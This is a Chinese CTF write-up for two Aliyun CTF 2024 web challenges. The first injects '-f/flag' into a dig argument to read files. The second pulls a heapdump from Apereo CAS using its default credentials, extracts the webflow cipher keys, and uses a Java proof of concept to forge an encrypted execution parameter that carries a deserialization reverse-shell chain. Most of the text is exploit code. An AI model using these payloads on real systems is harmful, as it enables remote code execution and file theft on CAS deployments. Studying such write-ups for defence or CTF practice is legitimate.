阿里云CTF 2024 WEB 方向部分题解
# wp
阿里云CTF 2024
web 签到
dig 命令-f参数能够读取文件,应该是过滤了空格,将命令和要读取的文件拼接到一起就行
import base64
import requests
url = "http://web0.aliyunctf.com:29059" + "/digHandler"
data = {
"domain": "localhost.",
"type": "-f/flag"
}
req = requests.post(url, json=data)
r = base64.b64decode(req.json().get("data"))
print(r.decode('utf-8'))
easyCAS
该CAS在4.x版本存在类似shiro 的默认key反序列化,5.x版本key会在启动时生成,在官方文档可以发现如果开启了status会出现heapdump
CAS - Monitoring & Statistics (apereo.github.io)
如果直接尝试访问/status/heapdump会被重定向到其他页面,可以参考页面中的其他链接使用?service参数重定向到我们想要的页面
http://web3backup.aliyunctf.com:38817/login?service=http://web3backup.aliyunctf.com:38817/status/heapdump
访问页面使用默认账号密码登录(casuser/Mellon)就会进行heapdump下载
jvisualvm.exe:Java自带的工具,默认路径为:JDK目录/bin/jvisualvm.exe这个工具需要手动去找想要的信息
经过分析主要加解密的key位于WebflowConversationStateCipherExecutor类中
将这两个key中的byte填进poc再使用yakit 生成cb1 ReverseShell链
将这个反序列化数据填入下面poc的p6处
Poc
import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;
public class Main {
public static void main(String[] args) throws Exception {
byte[] skey = new byte[]{81, 102, 74, 100, 74, 119, 109, 50, 117, 56, 97, 84, 122, 114, 112, 97, 53, 103, 100, 82, 121, 99, 75, 53, 90, 98, 99, 87, 107, 119, 56, 120, 97, 107, 111, 53, 85, 122, 89, 118, 56, 86, 67, 74, 110, 83, 117, 89, 99, 54, 85, 69, 45, 77, 122, 110, 79, 76, 74, 120, 68, 51, 48, 110, 56, 69, 51, 78, 88, 67, 115, 111, 119, 81, 116, 78, 117, 49, 102, 89, 81, 54, 88, 83, 48, 81};
byte[] ekey = new byte[]{101, -119, -110, 24, 95, -33, 25, 15, 6, -103, -68, -14, -92, 52, 61, 0};
SecretKeySpec enkey = new SecretKeySpec(ekey, "AES");
WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);
setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);
// Object o = webflowConversationStateCipherExecutor.decode(Base64.getDecoder().decode("ZXlKaGJH...."));
// System.out.println(o);
// System.out.println("ok");
String p6 = "rO0ABXNyABdqY.....";
System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(Base64.getDecoder().decode(p6)))));
}
static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException {
try {
// 获取目标对象的类对象
Class<?> currentClass = targetObject.getClass();
// 循环遍历当前类及其父类,直到找到该字段或到达Object类
Field field = null;
while (currentClass != null) {
try {
field = currentClass.getDeclaredField(fieldName);
break; // 字段找到,退出循环
} catch (NoSuchFieldException e) {
// 当前类中没有该字段,继续在父类中查找
currentClass = currentClass.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy");
}
// 设置访问权限,允许访问私有字段
field.setAccessible(true);
// 设置新的字段值
field.set(targetObject, newValue);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
public static byte[] compressString(byte[] data) {
// 使用ByteArrayOutputStream来捕获压缩数据
try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) {
// 写入数据到GZIPOutputStream,它会处理压缩
gzipOS.write(data);
// 完成压缩数据的写入
gzipOS.close();
// 返回压缩后的字节数组
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}
生成出的payload需要url编码,只需要编码其中的特殊符号比如=
Fuzzer 登录成功的包
execution处填写payload,注意前面的uuid不能去掉,发送即可成功反弹shell,flag就在根目录下